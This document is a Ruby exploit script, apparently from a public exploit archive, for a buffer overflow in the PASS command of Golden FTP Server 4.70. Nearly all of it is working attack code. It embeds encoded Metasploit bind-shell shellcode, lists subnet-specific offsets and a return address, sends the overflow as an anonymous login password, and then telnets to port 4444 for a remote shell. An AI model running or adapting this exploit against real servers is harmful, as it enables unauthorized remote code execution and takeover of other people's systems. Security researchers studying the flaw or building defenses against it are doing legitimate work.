Golden FTP Server 4.70 – ‘PASS’ Buffer Overflow
#GoldenFTP 4.70 PASS Exploit #Authors: Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg) #Tested on XP SP3 #Vendor Contacted: 1/17/2011 (no response) #For this exploit to work correctly, you need to know the subnet that the server #is running on. You also need to make sure that "show new connections" is checked in the options. #The total length of the buffer should be 4 bytes less than the offset, with EIP at the end. #528 is the offset when server running on 192.168.236.0 #533 is the offset when server running on 10.0.1.0 #530 is the offset when server running on 192.168.1.0 #531 is the offset when server running on 172.16.1.0 require 'net/ftp' #Metasploit bind shell port=4444 | shikata_ga_nai | 369 bytes shellcode = ("\x2b\xc9\xb1\x56\xba\x96\x70\x11\x9e\xdb\xd0\xd9\x74\x24" + "\xf4\x58\x31\x50\x10\x03\x50\x10\x83\xe8\xfc\x74\x85\xed" + "\x76\xf1\x66\x0e\x87\x61\xee\xeb\xb6\xb3\x94\x78\xea\x03" + "\xde\x2d\x07\xe8\xb2\xc5\x9c\x9c\x1a\xe9\x15\x2a\x7d\xc4" + "\xa6\x9b\x41\x8a\x65\xba\x3d\xd1\xb9\x1c\x7f\x1a\xcc\x5d" + "\xb8\x47\x3f\x0f\x11\x03\x92\xbf\x16\x51\x2f\xbe\xf8\xdd" + "\x0f\xb8\x7d\x21\xfb\x72\x7f\x72\x54\x09\x37\x6a\xde\x55" + "\xe8\x8b\x33\x86\xd4\xc2\x38\x7c\xae\xd4\xe8\x4d\x4f\xe7" + "\xd4\x01\x6e\xc7\xd8\x58\xb6\xe0\x02\x2f\xcc\x12\xbe\x37" + "\x17\x68\x64\xb2\x8a\xca\xef\x64\x6f\xea\x3c\xf2\xe4\xe0" + "\x89\x71\xa2\xe4\x0c\x56\xd8\x11\x84\x59\x0f\x90\xde\x7d" + "\x8b\xf8\x85\x1c\x8a\xa4\x68\x21\xcc\x01\xd4\x87\x86\xa0" + "\x01\xb1\xc4\xac\xe6\x8f\xf6\x2c\x61\x98\x85\x1e\x2e\x32" + "\x02\x13\xa7\x9c\xd5\x54\x92\x58\x49\xab\x1d\x98\x43\x68" + "\x49\xc8\xfb\x59\xf2\x83\xfb\x66\x27\x03\xac\xc8\x98\xe3" + "\x1c\xa9\x48\x8b\x76\x26\xb6\xab\x78\xec\xc1\xec\xb6\xd4" + "\x81\x9a\xba\xea\x34\x06\x32\x0c\x5c\xa6\x12\x86\xc9\x04" + "\x41\x1f\x6d\x77\xa3\x33\x26\xef\xfb\x5d\xf0\x10\xfc\x4b" + "\x52\xbd\x54\x1c\x21\xad\x60\x3d\x36\xf8\xc0\x34\x0e\x6a" + "\x9a\x28\xdc\x0b\x9b\x60\xb6\xa8\x0e\xef\x47\xa7\x32\xb8" + "\x10\xe0\x85\xb1\xf5\x1c\xbf\x6b\xe8\xdd\x59\x53\xa8\x39" + "\x9a\x5a\x30\xcc\xa6\x78\x22\x08\x26\xc5\x16\xc4\x71\x93" + "\xc0\xa2\x2b\x55\xbb\x7c\x87\x3f\x2b\xf9\xeb\xff\x2d\x06" + "\x26\x76\xd1\xb6\x9f\xcf\xed\x76\x48\xd8\x96\x6b\xe8\x27" + "\x4d\x28\x18\x62\xcc\x18\xb1\x2b\x84\x19\xdc\xcb\x72\x5d" + "\xd9\x4f\x77\x1d\x1e\x4f\xf2\x18\x5a\xd7\xee\x50\xf3\xb2" + "\x10\xc7\xf4\x96\x1b") puts "[*]This exploit requires knowledge of the local \n[*]subnet the ftp server is running on." puts "[*]It will not work unless it is one of these: \n-->10.0.1.0\n-->192.168.1.0\n-->172.16.1.0\n-->192.168.236.0\n[*]If your subnet isn't listed, figure out the offset on your own." puts "[*]Enter the IP of the GoldenFTP Server" host = gets.chomp #Get the subnet so we can figure out the offset puts "Which subnet is the FTP server running on?" puts "1 --> 10.0.1.0" puts "2 --> 192.168.1.0" puts "3 --> 172.16.1.0" puts "4 --> 192.168.236.0" subnet = gets.chomp junk = "\x01" + "\x90" * 19 eip = "\x4e\xae\x45\x7e" padto529 = "\x90" * 136 padto527 = "\x90" * 134 padto526 = "\x90" * 133 padto524 = "\x90" * 131 if subnet =="1" buffer = junk + shellcode + padto529 + eip # buffer is 529 total bytes elsif subnet =="2" buffer = junk + shellcode + padto526 + eip # buffer is 526 total bytes elsif subnet =="3" buffer = junk + shellcode + padto527 + eip # buffer is 527 total bytes elsif subnet =="4" buffer = junk + shellcode + padto524 + eip # buffer is 524 total bytes end ftp = Net::FTP.new(host) puts "++ Connecting to target...\n" ftp.login(user="anonymous", passwd=(buffer)) ftp.passive = true sleep(2) ftp.close puts "++ Connecting to target on port 4444....\n" sleep(2) command= "telnet "+ host +" 4444" system(command) |